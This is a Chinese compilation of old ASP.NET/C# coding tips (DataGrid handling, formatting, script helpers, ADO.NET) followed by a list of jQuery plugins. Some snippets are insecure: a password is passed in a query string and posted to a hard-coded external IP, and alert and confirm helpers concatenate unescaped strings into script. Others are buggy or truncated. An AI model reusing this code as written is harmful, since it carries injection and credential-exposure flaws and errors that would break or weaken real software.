eventLog.WriteEntry(messageText, LogEntryType);

}
catch {} //忽略任何异常
}
} //class ApplicationLog
}

12.Panel 横向滚动，纵向自动扩展
<asp:panel style="overflow-y:auto;"></asp:panel>

13.回车转换成Tab
<script language="javascript" for="document" event="onkeydown">
if(event.keyCode==13 && event.srcElement.type!='button' && event.srcElement.type!='submit' && event.srcElement.type!='reset' && event.srcElement.type!=''&& event.srcElement.type!='textarea');
event.keyCode=9;
</script>

onkeydown="if(event.keyCode==13) event.keyCode=9"

http://dotnet.aspx.cc/exam/enter2tab.aspx

14.DataGrid超级连接列
DataNavigateUrlField="字段名" DataNavigateUrlFormatString="http://xx/inc/delete.aspx?ID={0}"

15.DataGrid行随鼠标变色
private void DGzf_ItemDataBound(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e)
{
if (e.Item.ItemType!=ListItemType.Header)
{
e.Item.Attributes.Add( "onmouseout","this.style.backgroundColor=\""+e.Item.Style["BACKGROUND-COLOR"]+"\"");
e.Item.Attributes.Add( "onmouseover","this.style.backgroundColor=\""+ "#EFF3F7"+"\"");
}

}

16.模板列
<ASP:TEMPLATECOLUMN visible="False" sortexpression="demo" headertext="ID">
<ITEMTEMPLATE>
<ASP:LABEL text='<%# DataBinder.Eval(Container.DataItem, "ArticleID")%>' runat="server" width="80%" />
</ITEMTEMPLATE>
</ASP:TEMPLATECOLUMN>

<ASP:TEMPLATECOLUMN headertext="选中">
<HEADERSTYLE wrap="False" horizontalalign="Center"></HEADERSTYLE>
<ITEMTEMPLATE>
<ASP:CHECKBOX runat="server" />
</ITEMTEMPLATE>
<EDITITEMTEMPLATE>
<ASP:CHECKBOX runat="server" enabled="true" />
</EDITITEMTEMPLATE>
</ASP:TEMPLATECOLUMN>

后台代码

protected void CheckAll_CheckedChanged(object sender, System.EventArgs e)
{
//改变列的选定，实现全选或全不选。
CheckBox chkExport ;
if( CheckAll.Checked)
{
foreach(DataGridItem oDataGridItem in MyDataGrid.Items)
{
chkExport = (CheckBox)oDataGridItem.FindControl("chkExport");
chkExport.Checked = true;
}
}
else
{
foreach(DataGridItem oDataGridItem in MyDataGrid.Items)
{
chkExport = (CheckBox)oDataGridItem.FindControl("chkExport");
chkExport.Checked = false;
}
}
}

17.数字格式化
【<%#Container.DataItem("price")%>的结果是500.0000，怎样格式化为500.00?】

<%#Container.DataItem("price","{0:￥#,##0.00}")%>

int i=123456;
string s=i.ToString("###,###.00");

18.日期格式化

【aspx页面内：<%# DataBinder.Eval(Container.DataItem,"Company_Ureg_Date")%>
显示为：%# DataBinder.Eval(Container.DataItem,"Company_Ureg_Date","{0:yyyy-M-d}")%>

应该如何改？

【格式化日期】
取出来,一般是object
((DateTime)objectFromDB).ToString("yyyy-MM-dd");

19.如何设定全局变量
Global.asax中

Application_Start()事件中

添加Application[属性名] ＝ xxx;

就是你的全局变量

20.怎样作到HyperLinkColumn生成的连接后，点击连接，打开新窗口？

HyperLinkColumn有个属性Target,将器值设置成"_blank"即可.(Target="_blank")

【ASPNETMENU】点击菜单项弹出新窗口
在你的menuData.xml文件的菜单项中加入URLTarget="_blank"
如：
<?xml version="1.0" encoding="GB2312"?>
<MenuData ImagesBaseURL="images/">
<MenuGroup>
<MenuItem Label="内参信息" URL="Infomation.aspx" >
<MenuGroup >
<MenuItem Label="公告信息" URL="Infomation.aspx" URLTarget="_blank" LeftIcon="file.gif"/>
<MenuItem Label="编制信息简报" URL="NewInfo.aspx" LeftIcon="file.gif" />
......
最好将你的aspnetmenu升级到1.2版

21.委托讨论
http://community.csdn.net/Expert/topic/2651/2651579.xml?temp=.7183191
http://dev.csdn.net/develop/article/22/22951.shtm

22.读取DataGrid控件TextBox值

foreach(DataGrid dgi in yourDataGrid.Items)
{
TextBox tb = (TextBox)dgi.FindControl("yourTextBoxId");
tb.Text....
}

23.在DataGrid中有3个模板列包含Textbox分别为 DG_ShuLiang (数量) DG_DanJian(单价) DG_JinE(金额)分别在5.6.7列，要求在录入数量及单价的时候自动算出金额即:数量*单价=金额还要求录入时限制为 数值型.我如何用客户端脚本实现这个功能?

〖思归〗
<asp:TemplateColumn HeaderText="数量">
<ItemTemplate>
<asp:TextBox runat='server' Text='<%# DataBinder.Eval(Container.DataItem,"DG_ShuLiang")%>'
onkeyup="javascript：DoCal()"
/>

<asp:RegularExpressionValidator runat="server" ControlToValidate="ShuLiang" ErrorMessage="must be integer" ValidationExpression="^\d+$" />
</ItemTemplate>
</asp:TemplateColumn>

<asp:TemplateColumn HeaderText="单价">
<ItemTemplate>
<asp:TextBox runat='server' Text='<%# DataBinder.Eval(Container.DataItem,"DG_DanJian")%>'
onkeyup="javascript：DoCal()"
/>

<asp:RegularExpressionValidator runat="server" ControlToValidate="DanJian" ErrorMessage="must be numeric" ValidationExpression="^\d+(\.\d*)?$" />

</ItemTemplate>
</asp:TemplateColumn>

<asp:TemplateColumn HeaderText="金额">
<ItemTemplate>
<asp:TextBox runat='server' Text='<%# DataBinder.Eval(Container.DataItem,"DG_JinE")%>' />
</ItemTemplate>
</asp:TemplateColumn>

<script language="javascript">
function DoCal()
{
var e = event.srcElement;
var row = e.parentNode.parentNode;
var txts = row.all.tags("INPUT");
if (!txts.length || txts.length < 3)
return;

var q = txts[txts.length-3].value;
var p = txts[txts.length-2].value;

if (isNaN(q) || isNaN(p))
return;

q = parseInt(q);
p = parseFloat(p);

txts[txts.length-1].value = (q * p).toFixed(2);
}
</script>

24.datagrid选定比较底下的行时，为什么总是刷新一下，然后就滚动到了最上面，刚才选定的行因屏幕的关系就看不到了
page_load
page.smartNavigation=true

25.在Datagrid中修改数据，当点击编辑键时，数据出现在文本框中，怎么控制文本框的大小 ?

private void DataGrid1_ItemDataBound(obj sender,DataGridItemEventArgs e)
{
for(int i=0;i<e.Item.Cells.Count-1;i++)
if(e.Item.ItemType==ListItemType.EditType)
{
e.Item.Cells[i].Attributes.Add("Width", "80px")

}
}

26.对话框
private static string ScriptBegin = "<script language=\"JavaScript\">";
private static string ScriptEnd = "</script>";

public static void ConfirmMessageBox(string PageTarget,string Content)
{

string ConfirmContent="var retValue=window.confirm('"+Content+"');"+"if(retValue){window.location='"+PageTarget+"';}";

ConfirmContent=ScriptBegin + ConfirmContent + ScriptEnd;

Page ParameterPage = (Page)System.Web.HttpContext.Current.Handler;
ParameterPage.RegisterStartupScript("confirm",ConfirmContent);
//Response.Write(strScript);

}

－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－

27. 将时间格式化：string aa=DateTime.Now.ToString("yyyy年MM月dd日");

1.1 取当前年月日时分秒
currentTime=System.DateTime.Now;

1.2 取当前年
int 年= DateTime.Now.Year;

1.3 取当前月
int 月= DateTime.Now.Month;

1.4 取当前日
int 日= DateTime.Now.Day;

1.5 取当前时
int 时= DateTime.Now.Hour;

1.6 取当前分
int 分= DateTime.Now.Minute;

1.7 取当前秒
int 秒= DateTime.Now.Second;

1.8 取当前毫秒
int 毫秒= DateTime.Now.Millisecond;

28．自定义分页代码：

先定义变量 ：public static int pageCount; //总页面数

public static int curPageIndex=1; //当前页面

下一页：

if(DataGrid1.CurrentPageIndex < (DataGrid1.PageCount - 1))

{

DataGrid1.CurrentPageIndex += 1;

curPageIndex+=1;

}

bind(); // DataGrid1数据绑定函数

上一页：

if(DataGrid1.CurrentPageIndex >0)

{

DataGrid1.CurrentPageIndex += 1;

curPageIndex-=1;

}

bind(); // DataGrid1数据绑定函数

直接页面跳转：

int a=int.Parse(JumpPage.Value.Trim());//JumpPage.Value.Trim()为跳转值

if(a<DataGrid1.PageCount)

{

this.DataGrid1.CurrentPageIndex=a;

}

bind();

29．DataGrid使用：

3．1添加删除确认：

private void DataGrid1_ItemCreated(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e)

{

foreach(DataGridItem di in this.DataGrid1.Items)

{

if(di.ItemType==ListItemType.Item||di.ItemType==ListItemType.AlternatingItem)

{

((LinkButton)di.Cells[8].Controls[0]).Attributes.Add("onclick","return confirm('确认删除此项吗?');");

}

}

}

3．2样式交替：

ListItemType itemType = e.Item.ItemType;

if (itemType == ListItemType.Item )

{

e.Item.Attributes["onmouseout"] = "javascript：this.style.backgroundColor='#FFFFFF';";

e.Item.Attributes["onmouseover"] = "javascript：this.style.backgroundColor='#d9ece1';cursor='hand';" ;

}

else if( itemType == ListItemType.AlternatingItem)

{

e.Item.Attributes["onmouseout"] = "javascript：this.style.backgroundColor='#a0d7c4';";

e.Item.Attributes["onmouseover"] = "javascript：this.style.backgroundColor='#d9ece1';cursor='hand';" ;

}

3．3添加一个编号列：

DataTable dt= c.ExecuteRtnTableForAccess(sqltxt); //执行sql返回的DataTable

DataColumn dc=dt.Columns.Add("number",System.Type.GetType("System.String"));

for(int i=0;i<dt.Rows.Count;i++)

{

dt.Rows[i]["number"]=(i+1).ToString();

}

DataGrid1.DataSource=dt;

DataGrid1.DataBind();

3．4 DataGrid1中添加一个CheckBox，页面中添加一个全选框

private void CheckBox2_CheckedChanged(object sender, System.EventArgs e)

{

foreach(DataGridItem thisitem in DataGrid1.Items)

{

((CheckBox)thisitem.Cells[0].Controls[1]).Checked=CheckBox2.Checked;

}

}

将当前页面中DataGrid1显示的数据全部删除

foreach(DataGridItem thisitem in DataGrid1.Items)

{

if(((CheckBox)thisitem.Cells[0].Controls[1]).Checked)

{

string strloginid= DataGrid1.DataKeys[thisitem.ItemIndex].ToString();

Del (strloginid); //删除函数

}

}

30．当文件在不同目录下，需要获取数据库连接字符串（如果连接字符串放在Web.config，然后在Global.asax中初始化）

在Application_Start中添加以下代码：

Application["ConnStr"]=this.Context.Request.PhysicalApplicationPath+ConfigurationSettings.AppSettings["ConnStr"].ToString();

31． 变量.ToString()
字符型转换 转为字符串
12345.ToString("n"); //生成 12,345.00
12345.ToString("C"); //生成 ￥12,345.00
12345.ToString("e"); //生成 1.234500e+004
12345.ToString("f4"); //生成 12345.0000
12345.ToString("x"); //生成 3039 (16进制)
12345.ToString("p"); //生成 1,234,500.00%

32、变量.Substring(参数1,参数2);
截取字串的一部分，参数1为左起始位数，参数2为截取几位。
如：string s1 = str.Substring(0,2);

34.在自己的网站上登陆其他网站：(如果你的页面是通过嵌套方式的话，因为一个页面只能有一个FORM，这时可以导向另外一个页面再提交登陆信息)

＜SCRIPT language="javascript"＞
＜!--
　function gook(pws)
　{
　　frm.submit();
　}
//--＞

＜/SCRIPT＞ ＜body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"＞
＜form action=" http://220.194.55.68:6080/login.php?retid=7259 " method="post"＞
＜tr＞
＜td＞
＜input type="hidden" size="1" runat="server"＞
＜input type="hidden" size="1" runat="server"＞
＜input type="hidden" size="1" runat="server"＞

＜INPUT type="hidden" maxLength="20" size="1" value="5" ＞
＜INPUT type="hidden" size="1" value="2" ＞

＜/td＞

＜/tr＞

＜/form＞

文本框的名称必须是你要登陆的网页上的名称，如果源码不行可以用vsniffer 看看。
　　下面是获取用户输入的登陆信息的代码：

string name;
name=Request.QueryString["EmailName"];

try
{
　int a=name.IndexOf("@",0,name.Length);
　f_user.Value=name.Substring(0,a);
　f_domain.Value=name.Substring(a+1,name.Length-(a+1));
　f_pass.Value=Request.QueryString["Psw"];
}

catch
{
　Script.Alert("错误的邮箱!");
　Server.Transfer("index.aspx");
}

35.警告窗口

/**//// <summary>
/// 服务器端弹出alert对话框
/// </summary>
/// <param >提示信息,例子："不能为空!"</param>
/// <param >Page类</param>
public void Alert(string str_Message,Page page)
{
page.RegisterStartupScript("","<script>alert('"+str_Message+"');</script>");
}

36.重载此警告窗口,使某控件获得焦点

/**//// <summary>
/// 服务器端弹出alert对话框，并使控件获得焦点
/// </summary>
/// <param >获得焦点控件Id值,比如：txt_Name</param>
/// <param >提示信息,例子："请输入您姓名!"</param>
/// <param >Page类</param>
public void Alert(string str_Ctl_Name,string str_Message,Page page)
{
page.RegisterStartupScript("","<script>alert('"+str_Message+"');document.forms(0)."+str_Ctl_Name+".focus(); document.forms(0)."+str_Ctl_Name+".select();</script>");
}

37.确认对话框

/**//// <summary>
/// 服务器端弹出confirm对话框
/// </summary>
/// <param >提示信息,例子："您是否确认删除!"</param>
/// <param >隐藏Botton按钮Id值,比如：btn_Flow</param>
/// <param >Page类</param>
public void Confirm(string str_Message,string btn,Page page)
{
page.RegisterStartupScript("","<script> if (confirm('"+str_Message+"')==true){document.forms(0)."+btn+".click();}</script>");
}

38.重载确认对话框，点击确定触发一个隐藏按钮事件，点击取消触发一个隐藏按钮事件

/**//// <summary>
/// 服务器端弹出confirm对话框,询问用户准备转向那些操作，包括“确定”和“取消”时的操作
/// </summary>
/// <param >提示信息，比如："成功增加数据,单击\"确定\"按钮填写流程,单击\"取消\"修改数据"</param>
/// <param >"确定"按钮id值</param>
/// <param >"取消"按钮id值</param>
/// <param >Page类</param>
public void Confirm(string str_Message,string btn_Redirect_Flow,string btn_Redirect_Self,Page page)
{
page.RegisterStartupScript("","<script> if (confirm('"+str_Message+"')==true){document.forms(0)."+btn_Redirect_Flow+".click();}else{document.forms(0)."+btn_Redirect_Self+".click();}</script>");
}

39.获得焦点

/**//// <summary>
/// 使控件获得焦点
/// </summary>
/// <param >获得焦点控件Id值,比如：txt_Name</param>
/// <param >Page类</param>
public void GetFocus(string str_Ctl_Name,Page page)
{
page.RegisterStartupScript("","<script>document.forms(0)."+str_Ctl_Name+".focus(); document.forms(0)."+str_Ctl_Name+".select();</script>");
}

40.子窗体返回主窗体

/**////<summary>
///名称：redirect
///功能：子窗体返回主窗体
///参数：url
///返回值：空
///</summary>
public void redirect(string url,Page page)
{
if ( Session["IfDefault"]!=(object)"Default")
{
page.RegisterStartupScript("","<script>window.top.document.location.href='"+url+"';</script>");
}
}

41.判断是否为数字

/**//// <summary>/summary>

public bool IsNumberic(string oText)
{
try
{
int var1=Convert.ToInt32 (oText);
return true;
}
catch
{
return false;
}
}

获得字符串实际长度（包括中文字符）

//获得字符串oString的实际长度
public int StringLength(string oString)
{
byte[] strArray=System.Text .Encoding.Default .GetBytes (oString);
int res=strArray.Length ;
return res;
}

42.将回车转换为TAB

//当在有keydown事件的控件上敲回车时，变为tab
public void Tab(System.Web .UI.WebControls .WebControl webcontrol)
{
webcontrol.Attributes .Add ("onkeydown", "if(event.keyCode==13) event.keyCode=9");
}

43.datagrid分页中如果删除时出现超出索引

public void jumppage(System.Web.UI.WebControls.DataGrid dg)
{
int int_PageLess; //定义页面跳转的页数
//如果当前页是最后一页
if(dg.CurrentPageIndex == dg.PageCount-1)
{
//如果就只有一页
if(dg.CurrentPageIndex == 0)
{
//删除后页面停在当前页
dg.CurrentPageIndex = dg.PageCount-1;
}
else
{
//如果最后一页只有一条记录
if((dg.Items.Count % dg.PageSize == 1) || dg.PageSize == 1)
{
//把最后一页最后一条记录删除后，页面应跳转到前一页
int_PageLess = 2;
}
else //如果最后一页的记录数大于1，那么在最后一页删除记录后仍然停在当前页
{
int_PageLess = 1;
}
dg.CurrentPageIndex = dg.PageCount - int_PageLess;
}
}
}

一．用SqlConnection连接SQL Server

1..加入命名空间

using System.Data.SqlClient;

2.连接数据库

SqlConnection myConnection = new SqlConnection();
myConnection.ConnectionString = "user catalog=test;data source=127.0.0.1;Connect Timeout=30";
myConnection.Open();

改进（更通用）的方法：

string MySqlConnection="user =test;data source=127.0.0.1;Connect Timeout=30";
SqlConnection myConnection = new SqlConnection(MySqlConnection);
myConnection.Open();

二。用OleDbConnection连接

1.加入命名空间

using System.Data.OleDb;
 

2.连接sql server

string MySqlConnection="Provider=SQLOLEDB;Data Source=localhost;Initial Catalog=test;Integrated Security=SSPI;";

SqlConnection myConnection = new SqlConnection(MySqlConnection);
myConnection.Open();

3.连接Access(可通过建立.udl文件获得字符串)

string MySqlConnection="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\db2000.mdb;

Persist Security Info=False;

4.连接Oracle(也可通过OracleConnection连接)

string MySqlConnection="Provider=MSDAORA;Data Source=db; user ;

三.创建Command对象

1．SqlCommand 构造函数

①初始化 SqlCommand 类的新实例。public SqlCommand();

SqlCommand myCommand = new SqlCommand();

②初始化具有查询文本的 SqlCommand 类的新实例。public SqlCommand(string);

String mySelectQuery = "SELECT * FROM mindata";
SqlCommand myCommand = new SqlCommand(mySelectQuery);
③初始化具有查询文本和 SqlConnection 的SqlCommand类实例。

Public SqlCommand(string, SqlConnection);

String mySelectQuery = "SELECT * FROM mindata";
string myConnectString = "user ;
SqlConnection myConnection = new SqlConnection(myConnectString);
SqlCommand myCommand = new SqlCommand(mySelectQuery,myConnection);
 

④初始化具有查询文本、SqlConnection 和 Transaction 的 SqlCommand 类实例。

public SqlCommand(string, SqlConnection, SqlTransaction);

SqlTransaction myTrans = myConnection.BeginTransaction();
String mySelectQuery = "SELECT * FROM mindata";
string myConnectString = "user ;
SqlConnection myConnection = new SqlConnection(myConnectString);
SqlCommand myCommand = new SqlCommand(mySelectQuery,myConnection, myTrans);
 

2.建立SqlCommand与SqlConnection的关联。

myCommand.Connection = myConnection;

或者：SqlCommand myCommand = myConnection.CreateCommand;

3．设置SqlCommand的查询文本。

myCommand.CommandText = "SELECT * FROM mindata";

或者第2种构造：SqlCommand myCommand = new SqlCommand(mySelectQuery);

给SqlCommand对象提供两个查询字符串，每个查询字符串访问不同的表，返回不同的结果集。

两个查询语句用分号分隔。

4. 执行命令。

ExecuteReader
 返回一行或多行
 
ExecuteNonQuery
 对 Connection 执行 Transact-SQL 语句并返回受影响的行数(int)
 
ExecuteScalar
 返回单个值(如一个聚合值).返回结果集中第一行的第一列。忽略额外的列或行
 
ExecuteXmlReader
 将 CommandText 发送到 Connection 并生成一个 XmlReader 对象。
 

SqlDataReader myReader = myCommand.ExecuteReader();

或SqlDataReader myReader = myCommand.ExecuteReader(CommandBehavior.CloseConnection);

   while(myReader.Read()) //循环读取数据
   {
      Console.WriteLine(myReader.GetString(0));// 获取指定列的字符串形式的值
      Console.WriteLine(myReader. GetValue(1));// 获取以本机格式表示的指定列的值
    }
 

CommandText = "select count(*) as NumberOfRegions from region";
Int count = (int) myCommand.ExecuteScalar();

关于OleDbCommand对象的使用。

四．DataReader的使用

1．遍历结果集

while (myReader.Read())
  Console.WriteLine("\t{0}\t{1}", myReader.GetInt32(0), myReader.GetString(1));
myReader.Close();
 

2．使用序数索引器。

while (myReader.Read())
  Console.WriteLine("\t{0}\t{1}", myReader[0].ToString(), myReader[1].ToString());
myReader.Close();

3．使用列名索引器。

while (myReader.Read())
  Console.WriteLine("\t{0}\t{1}", myReader["code].ToString(), myReader["name"].ToString());
myReader.Close();

4.使用类型访问器。

public char GetChar(int i); 获取指定列的单个字符串形式的值
public DateTime GetDateTime(int i); 获取指定列的 DateTime 对象形式的值
public short GetInt16(int i); 获取指定列的 16 位有符号整数形式的[C#]
public string GetString(int i); 获取指定列的字符串形式的值

5．得到列信息。

myReader.FieldCount     获取当前行中的列数
myReader.GetFieldType(序号)   获取是对象的数据类型的 Type
myReader.GetDataTypeName(序号)  获取源数据类型的名称
myReader.GetName(序号)     获取指定列的名称
myReader.GetOrdinal(序号)   在给定列名称的情况下获取列序号

6.得到数据表的信息。

myReader.GetSchemaTable()   返回一个 DataTable
 

7．操作多个结果集。
myReader.NextResult()     使数据读取器前进到下一个结果集
do
{
  while (myReader.Read())
  Console.WriteLine("\t{0}\t{1}", myReader.GetInt32(0), myReader.GetString(1));
}
while(myReader.NextResult());

五．DataAdapter

1.创建SqlDataAdapter
初始化 SqlDataAdapter 类的新实例。
public SqlDataAdapter();
将指定的 SqlCommand 作为SelectCommand 属性，初始化 SqlDataAdapter 类的新实例。
public SqlDataAdapter(SqlCommand);
用 selectcommand字符串 和 SqlConnection对象初始化SqlDataAdapter 类的新实例。
public SqlDataAdapter(string, SqlConnection);
用 selectcommand字符串 和 一个连接字符串 初始化SqlDataAdapter 类的新实例。
public SqlDataAdapter(string, string);

2．DataAdapter和SqlConnection，SqlCommand建立关联。
  1．DataAdapter在构造参数时建立
  2．SqlDataAdapter adapter = new SqlDataAdapter();
     adapter.SelectCommand = new SqlCommand(query, conn);

3．DataAdapter.Fill（）方法。

在 DataSet 中添加或刷新行以匹配使用 DataSet 名称的数据源中的行，并创建一个名为“Table”的 DataTable。
public override int Fill(DataSet);
在 DataSet 中添加或刷新行以匹配使用 DataSet 和 DataTable 名称的数据源中的行。
 public int Fill(DataSet, string);

在 DataSet 的指定范围中添加或刷新行以匹配使用 DataSet 和 DataTable 名称的数据源中的行。

 public int Fill(DataSet, int, int, string);

在 DataTable 中添加或刷新行以匹配使用 DataTable 名称的数据源中的行。
 public int Fill(DataTable);

在 DataTable 中添加或刷新行以匹配使用指定 DataTable 和 IDataReader 名称的数据源中的行。
 protected virtual int Fill(DataTable, IDataReader);

在 DataTable 中添加或刷新行以匹配使用 DataTable 名称、指定的 SQL SELECT 语句和 CommandBehavior 的数据源中的行。
 protected virtual int Fill(DataTable, IDbCommand, CommandBehavior);
 

六．DataTable 类

七．DataColumn 类

八．DataRow 类
 

九．DataSet 类
1．创建DataSet 对象

初始化 DataSet 类的新实例。
public DataSet();
 
用给定名称初始化 DataSet 类的新实例。
public DataSet(string);
 

2．用DataAdapter填充DataSet

   DataSet myds=new DataSet();
adapter.fill(myds)
adapter.fill(myds,”表名”);  用一个表去填充DataSet.

十. DataTableCollection 类。    表示 DataSet 的表的集合。

DataTableCollection dtc = ds.Tables;
DataTable table = dtc[“表名”];
String strExpr = "id > 5";
String strSort = "name DESC";
DataRow[] foundRows = customerTable.Select( strExpr, strSort,);

进行动态的筛选和排序。
DataTable.Select() 方法 ：  获取 DataRow 对象的数组，

①获取所有 DataRow 对象的数组。
public DataRow[] Select();

②按主键顺序(如没有主键,则按照添加顺序)，获取与筛选条件相匹配的所有 DataRow 对象的数组。
public DataRow[] Select(string);

③获取按照指定的排序顺序且与筛选条件相匹配的所有 DataRow 对象的数组。

public DataRow[] Select(string, string);

④获取与排序顺序中的筛选器以及指定的状态相匹配的所有 DataRow 对象的数组。

public DataRow[] Select(string, string, DataViewRowState);

十一。DataView 类 ： 是DataTable内容的动态视图。

1．  创建对象

初始化 DataView 类的新实例。

  public DataView();

用指定的 DataTable 初始化 DataView 类的新实例。

  public DataView(DataTable);

用指定的 DataTable、RowFilter、Sort 和 DataViewRowState 初始化 DataView 类的新实例。

  public DataView(DataTable, string, string, DataViewRowState);

DataView myview = new DataView(ds.Tables["Suppliers"], "id > 5", "name DESC"，
DataViewRowState.CurrentRows);

2 .得到DataView的行数据。

   foreach (DataRowView myrowview in myview)
   {
     for (int i = 0; i < myview.Table.Columns.Count; i++)
        Console.Write(myrowview [i] + "\t");
     Console.WriteLine();
   }

jQuery 是继 prototype 之后又一个优秀的 Javascript 框架。其宗旨是—写更少的代码,做更多的事情。它是轻量级的 js 库(压缩后只有21k) ，这是其它的 js 库所不及 的，它兼容 CSS3，还兼容各种浏览器（IE 6.0+, FF 1.5+, Safari 2.0+, Opera 9.0+）。 jQuery 是一个快速的，简洁的 javaScript 库，使用户能更方便地处理 HTML documents、events、实现动画效果，并且方便地为网站提供 AJAX 交互。 jQuery 还有一个比较大的优势是，它的文档说明很全，而且各种应用也说得很详细，同时还有许多成熟的插件可供选择。 jQuery 能够使用户的 html 页保持代码和 html 内容分离，也就是说，不用再在 html 里面插入一堆js来调用命令了，只需定义 id 即可。今天在Kollermedia.at上发现了一篇JQuery插件列表的文章，特推荐如下。

文件上传(File upload)

Ajax File Upload.
jQUploader.
Multiple File Upload plugin. 
jQuery File Style.
Styling an input type file.
Progress Bar Plugin.

表单验证(Form Validation)

jQuery Validation.
Auto Help.
Simple jQuery form validation.
jQuery XAV - form validations.
jQuery AlphaNumeric.
Masked Input.
TypeWatch Plugin.
Text limiter for form fields.
Ajax Username Check with jQuery.

表单－选取框(Form - Select Box stuff)

jQuery Combobox.
jQuery controlled dependent (or Cascadign) Select List.
Multiple Selects.
Select box manipulation.
Select Combo Plugin.
jQuery - LinkedSelect
Auto-populate multiple select boxes.
Choose Plugin (Select Replacement).

表单基本、输入框、选择框等(Form Basics, Input Fields, Checkboxes etc.)

jQuery Form Plugin.
jQuery-Form.
jLook Nice Forms.
jNice.
Ping Plugin.
Toggle Form Text.
ToggleVal.
jQuery Field Plugin.
jQuery Form’n Field plugin.
jQuery Checkbox manipulation.
jTagging.
jQuery labelcheck.
Overlabel.
3 state radio buttons.
ShiftCheckbox jQuery Plugin.
Watermark Input.
jQuery Checkbox (checkboxes with imags).
jQuery SpinButton Control.
jQuery Ajax Form Builder.
jQuery Focus Fields.
jQuery Time Entry.

时间、日期和颜色选取(Time, Date and Color Picker)

jQuery UI Datepicker.
jQuery date picker plugin.
jQuery Time Picker.
Time Picker.
ClickPick.
TimePicker.
Farbtastic jQuery Color Picker Plugin.
Color Picker by intelliance.fr.

投票插件(Rating Plugins)

jQuery Star Rating Plugin.
jQuery Star Rater.
Content rater with asp.net, ajax and jQuery.
Half-Star Rating Plugin.

搜索插件(Search Plugins)

jQuery Suggest.
jQuery Autocomplete.
jQuery Autocomplete Mod.
jQuery Autocomplete by AjaxDaddy.
jQuery Autocomplete Plugin with HTML formatting.
jQuery Autocompleter.
AutoCompleter (Tutorial with PHP&MySQL).
quick Search jQuery Plugin.

编辑器(Inline Edit & Editors)

jTagEditor.
WYMeditor.
jQuery jFrame.
Jeditable - edit in place plugin for jQuery.
jQuery editable.
jQuery Disable Text Select Plugin.
Edit in Place with Ajax using jQuery.
jQuery Plugin - Another In-Place Editor.
TableEditor.
tEditable - in place table editing for jQuery.

多媒体、视频、Flash等(Audio, Video, Flash, SVG, etc)

jMedia - accessible multi-media embedding.
JBEdit - Ajax online Video Editor.
jQuery MP3 Plugin.
jQuery Media Plugin.
jQuery Flash Plugin.
Embed QuickTime.
SVG Integration.

图片(Photos/Images/Galleries)

ThickBox.
jQuery lightBox plugin.
jQuery Image Strip.
jQuery slideViewer.
jQuery jqGalScroll 2.0.
jQuery - jqGalViewII.
jQuery - jqGalViewIII.
jQuery Photo Slider.
jQuery Thumbs - easily create thumbnails.
jQuery jQIR Image Replacement.
jCarousel Lite.
jQPanView.
jCarousel.
Interface Imagebox.
Image Gallery using jQuery, Interface & Reflactions.
simple jQuery Gallery.
jQuery Gallery Module.
EO Gallery.
jQuery ScrollShow.
jQuery Cycle Plugin.
jQuery Flickr.
jQuery Lazy Load Images Plugin.
Zoomi - Zoomable Thumbnails.
jQuery Crop - crop any image on the fly.
Image Reflection.

Google地图（Google Map）

jQuery Plugin googlemaps.
jMaps jQuery Maps Framework.
jQmaps.
jQuery & Google Maps.
jQuery Maps Interface forr Google and Yahoo maps.
jQuery J Maps - by Tane Piper.

游戏(Games)

Tetris with jQuery.
jQuery Chess.
Mad Libs Word Game.
jQuery Puzzle.
jQuery Solar System (not a game but awesome jQuery Stuff).

表格等(Tables, Grids etc.)

UI/Tablesorter.
jQuery ingrid.
jQuery Grid Plugin.
Table Filter - awesome!.
TableEditor.
jQuery Tree Tables.
Expandable “Detail” Table Rows.
Sortable Table ColdFusion Costum Tag with jQuery UI.
jQuery Bubble.
TableSorter.
Scrollable HTML Table.
jQuery column Manager Plugin.
jQuery tableHover Plugin.
jQuery columnHover Plugin.
jQuery Grid.
TableSorter plugin for jQuery.
tEditable - in place table editing for jQuery.
jQuery charToTable Plugin.
jQuery Grid Column Sizing.
jQuery Grid Row Sizing.

统计图(Charts, Presentation etc.)

jQuery Wizard Plugin .
jQuery Chart Plugin.
Bar Chart.

边框、圆角、背景(Border, Corners, Background)

jQuery Corner.
jQuery Curvy Corner.
Nifty jQuery Corner.
Transparent Corners.
jQuery Corner Gallery.
Gradient Plugin.

文字和超链接(Text and Links)

jQuery Spoiler plugin.
Text Highlighting.
Disable Text Select Plugin.
jQuery Newsticker.
Auto line-height Plugin.
Textgrad - a text gradient plugin.
LinkLook - a link thumbnail preview.
pager jQuery Plugin.
shortKeys jQuery Plugin.
jQuery Biggerlink.
jQuery Ajax Link Checker.

鼠标提示（Tooltips）

jQuery Plugin - Tooltip.
jTip - The jQuery Tool Tip.
clueTip.
BetterTip.
Flash Tooltips using jQuery.
ToolTip.

菜单和导航(Menus, Navigations)

jQuery Tabs Plugin - awesome! . [demo nested tabs.]
another jQuery nested Tab Set example (based on jQuery Tabs Plugin).
jQuery idTabs.
jdMenu - Hierarchical Menu Plugin for jQuery.
jQuery SuckerFish Style.
jQuery Plugin Treeview.
treeView Basic.
FastFind Menu.
Sliding Menu.
Lava Lamp jQuery Menu.
jQuery iconDock.
jVariations Control Panel.
ContextMenu plugin.
clickMenu.
CSS Dock Menu.
jQuery Pop-up Menu Tutorial.
Sliding Menu.

http://stilbuero.de/jquery/tabs_3/

幻灯、翻转等(Accordions, Slide and Toggle stuff)

jQuery Plugin Accordion.
jQuery Accordion Plugin Horizontal Way.
haccordion - a simple horizontal accordion plugin for jQuery.
Horizontal Accordion by portalzine.de.
HoverAccordion.
Accordion Example from fmarcia.info.
jQuery Accordion Example.
jQuery Demo - Expandable Sidebar Menu.
Sliding Panels for jQuery.
jQuery ToggleElements.
Coda Slider.
jCarousel.
Accesible News Slider Plugin.
Showing and Hiding code Examples.
jQuery Easing Plugin.
jQuery Portlets.
AutoScroll.
Innerfade.

拖放插件(Drag and Drop)

UI/Draggables.
EasyDrag jQuery Plugin.
jQuery Portlets.
jqDnR - drag, drop resize.
Drag Demos.

XML XSL JSON Feeds

XSLT Plugin.
jQuery Ajax call and result XML parsing.
xmlObjectifier - Converts XML DOM to JSON.
jQuery XSL Transform.
jQuery Taconite - multiple Dom updates.
RSS/ATOM Feed Parser Plugin.
jQuery Google Feed Plugin.

浏览器(Browserstuff)

Wresize - IE Resize event Fix Plugin.
jQuery ifixpng.
jQuery pngFix.
